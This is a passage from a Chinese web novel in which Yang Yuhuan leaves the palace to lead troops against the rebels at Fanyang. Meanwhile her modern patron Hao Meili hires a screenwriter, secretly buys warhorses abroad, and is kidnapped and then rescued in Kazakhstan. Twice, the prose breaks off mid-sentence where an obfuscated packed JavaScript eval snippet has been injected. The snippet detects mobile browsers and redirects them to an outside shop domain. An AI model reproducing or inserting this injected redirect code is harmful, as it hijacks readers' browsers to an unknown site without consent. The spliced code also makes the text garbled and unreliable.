“我原以为,这些高官贵族,这些读书人,这些世家大族,总还要些脸面,做事总有个底线……我错了!大错特错!” “他们最残忍!最可恨!最是下贱!为了权力,为了把我困在这个位置上当他们的傀儡,他们可以毫不犹豫地拿人命来填!几十条几千条人命,在他们眼里算什么?算棋子!算筹码!算路边的杂草,一文不值!” “他们跪下来禀告的时候,说的每一句话,都那么有道理! 他们说这是为了百姓,为了民心,为了千千万万的人……然后一眨眼就杀了这么多人!原来,所有人都在骗我!” “妈妈,我明明可以杀了他!可我杀了一个他,还有无数个他,我甚至不知道该杀谁!妈妈,他们是杀不尽的吗?”她看向郝美丽,想要得到一个答案。 她真的不明白。 郝美丽看着她眼中所有情绪,再不忍心,也还是点了点头:“是,杀了一个,还会有下一个,玉环……” “那我要怎么才能真正杀了他?”杨玉环急切地问,“妈妈,你告诉我!怎样才能让这些事不再发生?怎样才能让那些无辜的人不再白白送命?” 郝美丽想到了第一次见到杨玉环时,她眼里全是惶恐不安,而现在,愤怒布满了她的双眼。 郝美丽捧住她的脸,指尖拭去她不断涌出的泪水:“玉环,杀了他们需要付出的代价很大,大到可能要放弃拥有的一切,这身宫装,这座宫殿,这些尊荣,甚至你的生命,你真的想好了吗?” 空气凝固了一瞬。 “若还没想明白,就这么过下去,也没什么不好,跪在脚下的人,顶在头上的尊荣,还有这满宫满殿任你取用的东西……” 听到这话,杨玉环眼中的泪光渐渐止住,她松开抓着郝美丽衣袖的手,慢慢站直了身体,虽然脸上泪痕犹在,肩膀却不再颤抖,她站直了身子。 “第一次见到妈妈,在那个高坡上,您从天而降,救了我,那时候,我只觉得是上天怜悯我……” “可我现在才明白,这世间,不止只有一个我,而是有千千万万个我,弱小的、被轻易伤害的、死了都不会有任何代价的我!” “我要为了更多的我,去杀了他们!” “哪怕这条路走到最后,是悬崖,是火海,是死——我都愿意!”杨玉环头一回看向郝美丽的眼神里,全是愤怒,只有愤怒,除了愤怒,别无其他。 “那好,那我们一起杀了他。” * 几日后。 当杨玉环带着几名女官,牵着马穿过一道道宫门时,沿途的宫人全都愣住了。 她未乘銮驾,未带仪仗,甚至未穿宫装,她就那样穿着寻常的骑服,束着马尾,手握缰绳,步履从容地走向宫门。 仙女娘娘……这是要去哪儿?没有人知道。 消息传到张韬耳中时,这位向来喜怒不形于色的大宦官,脸上第一次出现了惊疑:“什么?娘娘换了骑装,带了几个女官,骑马出宫去了?往哪个方向?” “往北面宫门去了!守门的侍卫不敢拦,已经出去了!” 张韬霍然起身,带倒了身后的椅子,发出“哐当”一声巨响,他脸上的平静碎裂开来:“北门?她要做什么?难道……” 一个极其大胆的猜测划过脑海,让他脊背窜起一股寒意,不,不可能!但如果是真的…… “立刻派人跟上,弄清楚娘娘到底要去哪里!还有,传消息给陈相府上,快!” 整个皇宫,在这一刻仿佛被一只无形的手急匆匆拨动,宫人、侍卫、暗探、各家的眼线…… 像无数被惊动的蚂蚁,从各自的巢穴中涌出,沿着街道、巷陌、府邸,奔跑、低语、传递消息。 一边是杨玉环一行人的身影,她们策马奔出了皇宫,将巍峨的城门甩在身后,马蹄踏在官道的尘土上,嘚嘚作响,速度越来越快。 而另一边,是京城内一个个身影在不同的门户间穿梭,这条消息像投入滚油的冷水:娘娘出宫了!往北门而去,似乎往陈府去了…… 消息最终传到了陈希烈府上。 书房内檀香幽幽,窗外春光正好,陈希烈正坐在书房,听完管家的禀报,沉默了很久。 “她终于还是忍不住,要亲自动手了么?”他低声自语,像是叹息,“也罢,老夫所作所为,早已将她逼至绝境,她若持仙器而来,取我性命,亦是应有之义。” 他闭上眼,心中念头转动,事已至此,死局已定,但死后之事,仍需安排。 “达奚珣……” “此人在娘娘面前,尚算清白,他们家在京城根基不深,若老夫身死,由他暂领丞相之职,过渡一番,日后自有该上位的人上位,这局棋,老夫这一步,总不算白走……”他沉吟着。 这样想着,他甚至还抬手,略微整理了一下身上衣襟,让自己看起来更齐整些,然后,重新坐稳,腰背挺直,目光平静地望向书房门口的方向。 他在等。 等那位被激怒的仙女,手持利器,破门而入,来取他性命,等她彻底输给他,就算他死了,这一局也是他赢了。 他用自己的命,将仙女彻底拉下神坛,值了。 一刻钟过去了。 两刻钟过去了。 书房外安静得可怕,只有风吹过庭树叶片的沙沙声,预想中的脚步声、喝问声、甚至破门声,始终没有响起。 陈希烈端起手边早已凉透的茶盏,想要抿一口,却发现自己的指尖有些不易察觉的轻颤,他看着自己的手指,突然意识到,不对! 若她要杀他立威,震慑群臣,此刻早该到了,仙家手段,瞬息千里,何须耽搁? 就在他心神微乱之际,书房门被猛地推开,心腹连滚爬爬地扑了进来,脸上毫无血色:“相爷!不,不好了!刚得到消息!仙女娘娘她带着那几个女官,出了京城后,她一路向北,看方向……是直奔河北叛军老巢范阳而去了!” “什么?!” * 京城以北,官道延伸向天际。 越远离京城,人烟越见稀少,道路两旁不再是田亩屋舍,取而代之的是大片大片在春风中肆意生长的原野。 杨玉环勒马放缓了速度,达奚瑜策马跟上前来,与她并辔而行,问:“娘娘,我们就这样离开京城了吗?那些人……” 杨玉环回首,望了一眼南方。 京城那巍峨的轮廓早已消失在视野尽头,只剩下一片朦胧。 “天大地大,何处不可去?”她微微一笑。 “那地方,金雕玉砌,却也是个吃人的牢笼,他们喜欢,就让他们守着吧,我不稀罕!” 这样说完,又行了一个时辰左右,前方出现一片郁郁葱葱的密林,官道从林边蜿蜒而过。杨玉环示意众人停下,她独自策马,向密林边缘靠近了几步,然后勒住马,静静等待。 不过片刻,密林深处传来枝叶拂动的窸窣声,一个穿着布衣的汉子快步奔出,来到杨玉环马前,单膝跪地,抱拳行礼:“末将薛荣,叩见娘娘!遵照娘娘之前密令,末将已在京城内外,秘密联络愿意誓死追随娘娘的忠勇之士,令他们以逃兵退役等各种名义,分批悄然离京,于此地汇聚等候!” 他抬起头:“截至目前,共集结五 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五千余人的吼声汇聚成一股磅礴的声浪,冲天而起,惊散了天边的流云,杨玉环眼中亦有泪光闪动,却是豪迈快意之泪。 她一挥手,指向北方:“好!今日起,你们便不再是无名之师!金吾卫为你们之名,专为平定天下不公之事、扫清祸乱乾坤之贼而存!” “诸君,随我一起北上,直捣叛军老巢范阳!彻底剿灭叛军,还天下一个朗朗乾坤!” “遵命!” 山呼海啸般的应和声中,杨玉环一马当先,向着北方纵马而去,达奚瑜与其他女官紧随其后,薛荣翻身上马,一声令下,五千将士迈开步伐,滚滚向北。 尘土扬起,马蹄声隆隆远去,只留下官道旁的春草,以及南方天际,那座越来越遥远的的城池。 * 京城,皇宫,紫宸殿。 龙椅空置,殿下,文武百官黑压压地站了一片,争吵声、议论声嗡嗡作响。 “娘娘究竟何意?为何突然弃宫北上?” “当务之急,是立刻派人迎回娘娘!国不可一日无主啊!” “迎回?娘娘若执意不回,又当如何?难道这朝政就此停滞?” “娘娘既是仙女临凡,心怀天下,欲亲征平定叛乱,亦是壮举……”有人说得勉强,眼神闪烁。 更有人压低声音,与同僚窃窃私语:“仙女心思,非我等所能揣度。但朝廷不可长久空悬,娘娘若久不归,是否该考虑,另立新君?毕竟李胤宗室,尚有血脉存世……” 各种心思暗流汹涌,有人真心忧虑国事,有人暗中权衡利弊,更有人蠢蠢欲动心术不正。 陈希烈站在文官队列的最前方,微垂着眼帘,仿佛在静听,又仿佛神游天外,他的目光,却不由自主地落在那张高高在上的龙椅上。 空荡荡的。 那个人,竟然真的就这么走了。 舍弃了唾手可得的九五之尊,舍弃了这天下最诱人的权柄,舍弃了这盘他呕心沥血布置的棋局。 他原以为,那张椅子是世上最牢固的枷锁。 任你是英雄豪杰,还是神仙鬼怪,一旦坐上去,便会被缠绕捆绑,最终沦为提线木偶,任他们这些执棋之人摆布。 他有无数种方法,或捧或杀,或诱或逼,总能将人牢牢锁在那方寸之地。可她没有,她竟然自己挣脱了那枷锁,跳下了那棋盘。 陈希烈缓缓抬起头,脸上第一次露出了迷茫,他算计人心,权衡利益,精通一切权术诡道,他以为自己洞悉了人性。 可他算不透,一个人为何能如此决绝地抛弃这一切。 她所求的,究竟是什么? 春风穿过洞开的殿门,拂动他花白的须发,他站在权力的中心,却忽然感到一阵寒冷,难道这天,真的要变了? 21.第 21 章 郝美丽挂断和郑大钱的视频通话后,坐在书桌前沉默了很久。 屏幕上还留着郑大钱发来的几条消息:“美丽,5000匹战马不是5000套盔甲,马是活物,需要检疫运输,每一道环节都可能出问题。” “就算分批从不同国家采购,这么大的数量最终流向同一个买家,一定会引起注意,如果说影视公司买装备还能说得过去,5000匹马怎么解释?无论是什么理由,都不会有人相信。” “你确定要冒这个险?” 郝美丽拿着手机,看了很久,都没有回复。 窗外的天色渐渐暗下来,城市的灯火一盏盏亮起,郝美丽揉了揉太阳穴,放空思绪,拿起手机,拨通了另一个号码。 “喂,王制片。” “郝总?”王硕的声音从电话那头传来,背景音有些嘈杂,像是在片场,“您有什么吩咐?” “明天上午,帮我约个人。”郝美丽说,“那个在圈内很有名但一直没署过大名的女编剧,叫……” “林香凝?”王硕立刻反应过来,“您是说那位写了《无声之证》,但挂名都没有的林香凝?” “对,就是她。”郝美丽说,“帮我约一下她。” “好的,我这就联系,”王硕顿了顿,“郝总,是剧本方面有什么新想法吗?” “算是吧。”郝美丽没有多说,“先约着见面,我过几天要出去一趟远门,出去之前先把编剧定下来吧。” “好勒,郝总。” 第二天。 郝美影视公司,一位三十岁左右的女士,安静地坐在等候区的沙发上,她穿着简单的米色针织衫,头发在脑后松松地绾了个髻,鼻梁上架着一副眼镜。 林香凝。 她在编剧圈是个特别的存在,几乎所有人都听说过她写的剧本,但她总是躲在编剧的署名后面,拿着不高的分成,写着让人惊艳的故事。 接到王硕电话时,她正在家里改一个网剧的第三稿,对方说得很客气,说郝美影视的郝总想见她,聊聊项目合作。 她挂了电话后,整个人都是懵的。 郝美影视,这段时间在圈内掀起巨浪的公司,那个传说中背景深厚、预算无限、要打造史诗级历史剧的神秘出品方? 郝美丽,那个突然出现在影视圈,一出手就是上亿投资的女老板,这样的人,为什么要见她? 林香凝坐在沙发上有些紧张。 她有些猜测,但她不敢确定。 她还在打腹稿,等会要说些什么,怎么样让这位“郝总”满意,但当她真的见到郝美丽本人的那一刻,所有的紧张都消失了。 郝美丽和她想象中的完全不一样。 没有精致的妆容,没有昂贵的高定套装,甚至没有那种成功人士特有的疏离感,郝美丽像是刚从外面回来,正弯腰在办公室门口换拖鞋,还是一双普通的棉麻拖鞋。 她抬起头,看到林香凝,笑了笑:“是林编剧吧?进来坐。” 办公室很大,但布置得很简单,除了必要的办公家具,最多的就是书,窗边摆着几盆绿植,长得郁郁葱葱。 “喝点什么?”郝美丽走到小吧台边,“茶还是咖啡?” “茶就好,谢谢郝总。” 郝美丽泡了两杯茶端过来,在她对面坐下。 “我看过你的作品。”郝美丽开门见山,“《无声之证》里那个在男权社会里挣扎求生的女律师,写得很好。” 林香凝有些惊讶:“您看过?” “不仅看过,还仔细研究过,”郝美丽喝了口茶,“所以我想和你聊聊,聊聊历史,聊聊女性,聊聊你想通过文字表达什么。” 接下来的几个小时,是林香凝最特别的一次谈话。 因为郝美丽给了她一个命题:“如果杨贵妃没有被缢死,而是活了下来,甚至掌握了权力,她会面临什么?在那个时代,一个女性想要打破枷锁,需要付出什么代价?” 一个很奇妙的命题。 但林香凝有自己的答案。 “史书是男人写的。”她说,“所以我们在史书上看到的女性,要么是红颜祸水,要么是贞洁烈妇,要么是慈母贤妻,她们的脸是模糊的,她们的声音是沉默的,她们的选择是被定义的。” “但我不信。” “我不信一个能在后宫中生存下来的女性是愚蠢的,我不信一个能被皇帝专宠十几年的女性只会撒娇卖乖,我更不信一个时代的兴衰可以简单归咎于一个女人。” 郝美丽静静地听着。 “我想让她们被看见。”林香凝说,“不是被美化,也不是被贬低,就是被看见,作为有血有肉、有思想有挣扎、有欲望也有恐惧的人被看见。” …… 时间一点点过去,窗外的阳光渐渐西斜,办公室里染上了一层暖黄色的光晕,郝美丽看了眼时间,已经下午五点了。 她问出了最后一个问题: “林编剧,我一直在想,你为什么会选择这个行业?为什么会坚持写这些可能不讨好、不卖座、甚至可能永远无法署自己名字的故事?” 林香凝愣了一下。 她想过很多次这个问题,也听过很多人问过这个问题,她通常会给一些标准答案,比如喜欢写作、想表达自己、觉得故事有价值。 但这一次,她不想说那些。 她抬起头,看着郝美丽,很认真地说:“因为我相信文字有魔法。” 郝美丽挑眉。 “不是那种奇幻故事里的魔法,”林香凝继续说,“而是一种更真实的魔法,它能穿越时间,能让那些被遗忘的人重新活过来,能让那些被扭曲的真相重新被看见。” “当我坐在电脑前,构建一个世界,创造一个人物,让她在纸上活过来,让她去经历、去挣扎、去选择、去失败或成功……那一刻,我觉得我在做一件很有意义的事。” “哪怕没有人知道是我写的,哪怕这个故事最后被改得面目全非,哪怕它只能影响很少的人,但只要有一个人因为我的文字而思考,而看见了一些之前没看见的东西,那就值得。” “当然,最重要的是,我只为女性书写。这个世界已经有太多歌颂男性的文字,不需要我再去锦上添花,但有太多太多的女性需要我这一只笔,需要我以笔为剑,为她们而战斗,为她们的痛苦呐喊,为她们重塑本该属于自己的命运!” 办公室里很安静,只有她们两人的呼吸声。 郝美丽看着林香凝,看了很久,久到林香凝又开始有些紧张,然后郝美丽伸出手:“林编剧,郝美影视正在筹备的大型历史剧《凤起长安》,我想请你担任总编剧。” 林香凝愣住了。 “这个剧,”郝美丽继续说,“要以女性为主角 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16895960|191074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,要讲述一个女性在乱世中挣扎求生最终打破枷锁的故事。” “我不知道这部剧最后会拍成什么样,也不知道它能不能播,甚至不知道它会不会有观众,但我愿意给你最大的创作自由,给你最好的团队支持,给你足够的时间和空间,去写出你想写的故事。” “你愿意吗?” 林香凝看着郝美丽伸出的手,又抬头看看她的眼睛,她伸出手,握住了郝美丽的手。 “我愿意。” * 三天后,国际航班上。 “大钱,我明白你说的一切,但我已经站在这里了,我不会后退的。”郝美丽拿着行礼,走在机场通道上。 “郝美丽,我还不知道你?给你安排的助手在值机了,坐你旁边。”郑大钱的声音传来,她哼哼的说。 郝美丽一时哑然,然后笑了:“谢谢你,大钱。” “谢什么谢,注意安全。” 等郝美丽靠在头等舱的座椅时,郑大钱安排的助手坐在她旁边,正对着笔记本电脑处理文件。 “郝总,这是蒙古乌兰巴托大型马场的资料。”助手把平板递过来,“按照您的要求,我们分别以影视拍摄用马、马术俱乐部采购等不同名义下了订单,总共一千二百匹。” “澳大利亚那边已经谈妥了八百匹混血品种,适合长途奔袭。” “阿根廷的订单比较复杂,需要走特殊的检疫通道,但郑总已经打点好了。” 郝美丽接过平板,一页页翻看。 照片上是广袤的草原,成群的骏马,各种肤色和发色的牧场主、中间商、兽医、运输负责人。 “郑总让我提醒您,”助手压低声音,“最后一批交割在哈萨克斯坦,那边情况比较复杂,虽然对接的是正规贸易公司,但毕竟是跨国大宗交易,还是需要格外小心。” “我知道。”郝美丽把平板还给他,“到了地方,一切按计划进行。” 接下来的七天,郝美丽辗转在几个国家之间,验货交钱,敲定交易,一切都很顺利。 第七天下午,郝美丽抵达哈萨克斯坦阿拉木图,按照计划,这是最后一批交割。下飞机后,车子开了一个多小时,终于抵达牧场。 对接方是当地一家贸易公司,老板叫阿利舍尔,是个四十多岁,能说一口流利中文的哈萨克族商人,看起来很是诚恳。 郝美丽握上他的手,她快速扫了一眼周围,几个伙计看似随意地站着,目光却有意无意地落在她和助手身上。 “郝总,欢迎欢迎!”阿利舍尔热情地握手,“马匹已经全部准备好了,您随时可以验货,走,我们上去聊。” 郝美丽走向牧场的办公室,那是是一栋两层的小楼,装修得很朴素,阿利舍尔引着她上到二楼,走进一间宽敞的会议室。 长条会议桌上已经摆好了各种文件,旁边的小桌上放着茶壶和点心,能看见外面成群的马匹,还远处皑皑的雪山。 “郝总请坐。”阿利舍尔拉开主位的椅子,“这些都是需要您签字的文件签完字,这批马就是您的了……” 郝美丽在桌前坐下,开始翻阅文件。 一切都很正常。 直到她闻到一股特别的味道,开始变得有些迟钝,这是什么味道?她刚反应过来,视野边缘变得模糊,手中的笔掉落,摔在了合同上。 她,晕了过去。 22.第 22 章 郝美丽醒来的时候,发现自己躺在冰冷的水泥地上。 后脑勺钝痛,喉咙干得发紧,她费力地眨了眨眼,视线慢慢聚焦,这是一个地窖,四周是粗糙的砖墙,头顶只有一盏昏黄的白炽灯。 她被绑架了。 郝美丽深吸一口气,强迫自己冷静,不能慌,现在不能慌。她试着动了动手指,酸软无力,但知觉还在,迷药的药效还没完全过去。 铁门“吱呀”一声被推开。 阿利舍尔走了进来,还是那身得体的西装,脸上还带着那副热情的笑容,只是眼神彻底变了,好像在看一个猎物,他在郝美丽面前蹲下,递过来一瓶水。 “醒了?”他声音温和,“喝点水,我们聊聊。” 郝美丽没接,只是盯着他。 阿利舍尔笑了笑,也不在意,自己拧开瓶盖喝了一口,然后慢条斯理地说:“我做生意这么多年,门路还是有点的,最近听到一件很有意思的事,有人分七批,买了将近五千匹马。” 他俯身凑近,声音压低:“郝总,您猜这五千匹马,是要运去哪儿?” 郝美丽依旧一言不发,只是悄悄活动身体。 “我很好奇,”阿利舍尔继续说,“什么样的影视公司,需要五千匹战马?又为什么所有交易都要走灰色通道,不敢走明路?” 他顿了顿,笑容更深:“郝总,您能告诉我吗?” 郝美丽终于开口:“你只是做生意的,我也是,放了我,今天的事我可以当没发生。钱照付,马我不要了。” 阿利舍尔像是听到了什么有趣的笑话,肩膀轻轻耸动,他伸手从后腰抽出一把刀,刀刃在昏黄的灯光下泛着冷光。 “郝总,您知道我原来是什么人吗?”他把刀放在膝上,手指轻轻摩挲刀柄,“二十年前,我是一家酒店的服务员,每天给人擦鞋、拎行李,看那些俄罗斯来的老板们一掷千金。” “后来有一天,”他顿了顿,声音很轻,“我杀了我的老板,拿走了他保险柜里的三十万美金,用那笔钱,我买了第一个牧场,然后是第二个,第三个……” 他抬起头,看向郝美丽,眼神赤裸贪婪:“今天,我好像又发现了一个机会,一个让我不用再辛苦做生意,就能发财的好机会,而我,想抓住这个机会。” 郝美丽的心往下沉,但脸上依旧平静:“我只是个办事的,不是老板,杀了我,你拿不到钱。” “是吗?”阿利舍尔歪了歪头,“按理说,像您这么漂亮年轻的女士,确实不像老板,但是郝总……” 他忽然前倾,刀尖几乎抵到郝美丽的下巴:“人的眼神不会骗人,你骗不了我,郝总。” 他收回刀,从旁边拿过一个笔记本电脑,打开,调出一个界面,是瑞士某银行的转账页面。 “往这个账户转一亿美金,”他把电脑推到郝美丽面前,“转了,我就放您走。” 郝美丽盯着屏幕,沉默了几秒:“我没那么多钱。” 阿利舍尔笑了。 他点开另一个文件夹,里面是几十张照片——郝美丽在办公室的照片,在训练基地的照片,甚至有几张是她公寓楼下的偷拍。 “郝总,”他指着其中一张照片,“一家刚成立不到半年的影视公司,有这么大能量吗?” 他合上电脑,笑容终于消失了:“我要的不多,就一亿,给了钱,您自由,我消失,很公平。” “你不怕报复?”郝美丽问。 “郝总,您是不是还没搞清楚状况?牧场里那些马早卖了,根本没有马等您来交割,我只是恰好从所有卖家里,挑中了您这条最大最肥的鱼。” 郝美丽的呼吸一滞。 这次交易一开始就是圈套! “至于报复……”阿利舍尔笑了,“拿到钱,我会立刻消失,这个世界很大,郝总,藏一个人很容易。” 他重新蹲下来,刀尖轻轻点了点郝美丽的手背:“现在,我们谈正事。一小时内,钱到账。每超时十分钟,我就杀一个您带来的人,从那个年轻的助手开始,他叫什么来着?小王?” “等一下!我要打电话,”她听见自己的声音说,“让人转账。” 阿利舍尔挑了挑眉,似乎有些意外她的配合,但他还是从口袋里拿出手机,他把手机放在地上,“开免提。” 嘟——嘟——电话只响了两声就被接起。 “美丽?”郑大钱的声音传来,“你那边怎么样?一天一夜没消息,王硕都快把我电话打爆了。” 郝美丽看着颈侧的刀锋,声音平稳得连她自己都惊讶:“大钱,我需要你往一个账户转一亿美金。” 电话那头沉默了三秒。 “账号发我。”郑大钱的声音没有任何犹豫,但郝美丽听出来了,郑大钱已经明白了。 “账号是……”郝美丽看向阿利舍尔。 阿利舍尔把电脑屏幕转向她,上面显示着一串数字,郝美丽报出账号,然后补了一句:“一小时内要到账。” 这一次,郑大钱沉默得更久。 “美丽,”她终于开口,声音压得很低,“你要明白,一亿美金不是小数目,就算走特殊渠道,也不可能一小时内完成。银行系统有监控,这么大额的异常流动一定会触发警报……” “必须一小时内到账,钱不到,会死人。” 电话那头传来郑大钱深吸一口气的声音。 “给我五分钟。”她说,“保持通话。” 然后是一阵窸窣声,郑大钱似乎捂住了话筒,在和什么人快速说话。阿利舍尔的刀尖又往前送了半分,皮肤传来刺痛感,他低声说,“郝总,您这位朋友,好像不太配合?” “她在筹钱。”郝美丽盯着他,“想要筹到一亿美金,你比我清楚这有多难。” “那是您的问题。”阿利舍尔微笑,“我的问题很简单,见不到钱,就见血。” 时间一分一秒过去。 地窖里安静得可怕,只有电脑屏幕上转账页面的倒计时在跳动:00:42:17、00:42:16…… 电话里终于传来郑大钱的声音:“美丽,钱已经在走了,但我需要至少三个小时……” 郝美丽还没来得及说话,阿利舍尔忽然伸手夺过手机。 “郑女士,”他对着话筒说,“很抱歉打断您,但三个小时太久了,这样,我现在开始计时,每过十分钟,我会给您发一段视频。” 他挂断了电话。 郝美丽的心沉到谷底。 阿利舍尔把手机扔到一边,重新拿起刀:“郝总,看来您的朋友需要一点鼓励。” 他站起身,走向铁门,准备去旁边关押的房间。 “等等。”郝美丽忽然开口。 阿利舍尔回头。 “你要的是钱,不是人命,”郝美丽看着他,大脑飞快运转,“杀了我的人,你就彻底没有退路了。” “你在威胁我?”阿利舍尔眯起眼。 “我在跟你谈交易。”郝美丽撑着地面,慢慢坐直身体,“你放了我的人,我保证钱会到账,不仅如此,我可以再多给你两千万。” 阿利舍尔愣住了。 “你什么意思?” “很简单,今天的事,可以变成一场误会。你发现交易有异常,怀疑有人要对我下手,所以暂时保护了我。” 她看着阿利舍尔眼中闪过的动摇,继续加码:“一亿两千万,足够你在世界上任何一个地方重新开始,而且你是清清白白拿的钱,不需要东躲西藏。” 地窖里安静了几秒。 阿利舍尔忽然笑了:“郝总,您确实不是普通人,这种时候还能跟我谈条件,不过,你似乎把我当成了傻子。” 他走回来,蹲在郝美丽面前,刀尖挑起她的下巴:“怎么知道,您不是在拖延时间?” “你可以查。”郝美丽直视他的眼睛,“查郑大钱的背景,查她在海外的资产和关系网,查完之后,你再决定。” 阿利舍尔盯着她看了很久,然后,他收回刀,站起身,转身走出地窖,铁门重新关上。 郝美丽靠在墙上,长长呼出一口气,才发现自己的后背已经被冷汗浸透。 铁门外,阿利舍尔并没有走远。 他站在昏暗的走廊里,点燃一支烟,烟雾在灯光下缓缓上升,手机屏幕亮着,上面是刚刚查到的信息,郑大钱,美丽国某投资公司实际控制人,名下资产涉及航运、能源、高科技。 阿利舍尔吐出一口烟,眉头紧皱。 他原以为郝美丽只是某个暴发户的女儿,或者是某个大佬的情妇,搞点灰色生意赚外快,所以才放心的绑架她,但现在看来,这潭水比他想象的要深得多。 一亿美金很诱人。 但活着花钱,更重要。 可放弃这笔钱,他又不甘心。 他掐灭烟,重新推开门,郝美丽还靠在墙上,闭着眼,但在他进来的瞬间就睁开了。 “郝总,我查了您朋友的资料,她确实很有能量。”阿利舍尔在对面坐下,刀放在一旁,“但这也意味着,事后清算的时候,她会更有能量。” “所以你的选择是?”郝美丽问。 阿利舍尔沉默了几秒。 “我要五千万。”他说,“给我,我就放了你们。” 郝美丽心头一松:“五千万可以,但我的人要安全。” 阿利舍尔拨通了手机,那头传来声音:“郝总!您没事吧?我们被关在另一个屋,都没受伤,但是他们把我们的通讯设备都收走了……” 电话挂断。 阿利舍尔正要说话,地面忽然传来一阵震动,紧接着,远处传来引擎的轰鸣声,伴随着急促的刹车声,阿利舍尔脸色一变,转身将刀架上郝美丽的颈侧,另一只手死死钳住她的肩膀。 “别动!臭婊子!” 郝美丽被迫仰起头,能清晰感觉到刀刃的冰凉。 就在这时——“砰!” 突击步枪的点射,干脆利落。 阿利舍尔的眉心忽然绽开一个红点,他瞪大眼睛,钳住郝美丽的手却先松了,整个人像断线的木偶,向后栽倒。 随着他倒下的动作,刀锋在郝美丽颈侧又划开一道,痛得郝美丽惊呼!紧接着是更多枪声,混杂着奔跑的脚步声。 走廊里冲进来四个人,全副武装,脸上涂着迷彩,他们动作迅速,两人控制住阿利舍尔,另外两人冲到郝美丽身边。 “郝女士?”其中一个用英语问,“能站起来吗?” 郝美丽点头,在他的搀扶下起身。 “外面安全了。”那人说,“我们现在撤离。” “是谁派你们来的?”郝美丽问。 “郑女士。”对方简短地回答,然后示意她跟上。 走出地窖,郝美丽才看清外面的情况,一个偏僻的山谷里停了四辆改装过的黑色越野车,她被架上车,车队迅速驶离牧场,扬起一片尘土。 车上,那个领队的人摘下面罩,露出一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16895961|191074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张亚洲面孔,大约四十岁,眼神锐利,他递给郝美丽一瓶水,“郝总,你好,我是陈默,郑女士提前联系了我们,您的助手身上有GPS定位器,她提供了坐标,我们就立刻过来了。” “那时候我还没给她打电话。”郝美丽接过水。 陈默笑了笑:“郑女士说,您超过二十四小时没有按计划报备,她就知道出事了,所以启动了应急协议。” 郝美丽握着水瓶,手指收紧。 郑大钱从没有告诉过她这些。 车队没有回市区,而是开往一个私人机场,一架小型喷气机已经等在跑道上,郝美丽坐上去,靠在椅背上,闭上眼。 后脑勺的钝痛还在,颈侧的伤口已经止血,但她还记得刀锋触感,阿利舍尔最后那个眼神,贪婪、恐惧、算计,还有一丝说不清的什么,在她脑海里反复出现。 “郝总……”助手小心翼翼地开口,“您还好吗?” 郝美丽睁开眼,看向他,年轻人脸上还带着劫后余生的苍白。 “我没事。”郝美丽说,“你们呢?” “都没事,就是……”小王顿了顿,声音低下去,“对不起,郝总,是我们没做好预案,才让您陷入危险……” “不怪你们,”郝美丽打断他,“是我的问题。” 她太急了。 急着给杨玉环输送物资,急着扩大采购规模,急着搭建起一个足以支撑一场跨越时空战争的补给线。 她以为有钱、有郑大钱的关系,就足够了。但她忘了,当你的行为开始触及某些边界时,你遇到的就不再是商人,而是野狼。 飞机开始爬升,窗外是漆黑的夜空,还有零星的星光,郝美丽拿出手机,开机,几十条未接来电涌进来,大部分是郑大钱和王硕的。 她拨通了郑大钱的号码。 电话只响了一声就被接起。 “美丽?”郑大钱的声音传来,少见的紧绷,“你怎么样?受伤没有?他们接到你了吗?” “接到了。”郝美丽说,“已经在飞机上,谢谢,大钱。” 电话那头沉默了两秒,然后郑大钱叹了口气。 “美丽,”她说,“我们得谈谈。” “我知道。” “不,你不知道。”郑大钱的声音严肃起来,“这次是阿利舍尔,一个有点小聪明的土狼,下次呢?每一次都能这么幸运吗?如果盯上你的是真正的走私集团,是某个国家的情报部门,甚至是……” 郝美丽握紧手机。 “你买盔甲,可以用拍戏解释,买药品,可以用医疗援助解释,但五千匹战马?”郑大钱顿了顿,“美丽,你现在做的事情,已经超出了正常人的范畴,你知不知道你现在越来越危险了!” 飞机遇到气流,轻微颠簸了一下,郝美丽看着窗外黑暗的夜空,缓缓开口:“大钱,你说得对。” 郑大钱似乎没料到她会这么干脆地承认,停顿了一下。 “这次是我太天真了。”郝美丽继续说,“我以为只要小心一点、多花点钱,就能把事办成,但我错了,我不止需要这些。” 电话那头安静了。 几秒后,郑大钱问:“你想要什么?” “我需要有自己的安全团队,有完全可信的人,采购渠道需要更分散更隐蔽,可能需要搭建多层代理公司,不能让人轻易追溯到资金流向。” “最重要的是,郝美丽不能再参与这些事了。” 郑大钱深吸一口气:“你想做什么?” “我要需要另一个身份。郝美丽只是一个影视公司老板,拍她的戏,出席各种活动,做那些很危险事的人,不能是她。” “美丽,你知道你在做什么吗?” “我知道。”郝美丽说,“帮我,大钱。” 电话那头传来郑大钱苦笑的声音。 “我早就知道,从你跟我说你要买五千匹马开始,我就知道会有这一天,行吧……但美丽,你要想清楚,一旦你走进那个世界,你就再也回不到普通人的生活了。” “我早就不是普通人了。”郝美丽轻声说。 从她绑定系统,从她看到杨玉环在马嵬坡上眼泪的那一刻起,她的人生就注定要走向一条截然不同的路。 飞机开始下降,舷窗外已经能看到城市的灯火。 “回来再说吧,”郑大钱说,“我先帮你处理烂摊子,阿利舍尔那边,我会让人妥善处理。” “谢谢。” “别谢我。”郑大钱的声音恢复了平时的调侃,但底下藏着认真,“等你回来,我们好好算算账,这次出动的费用,雇佣兵团的佣金,还有我的精神损失费!我可给你说,你的储备资金不多了,资金链一断更麻烦。” 电话挂断。 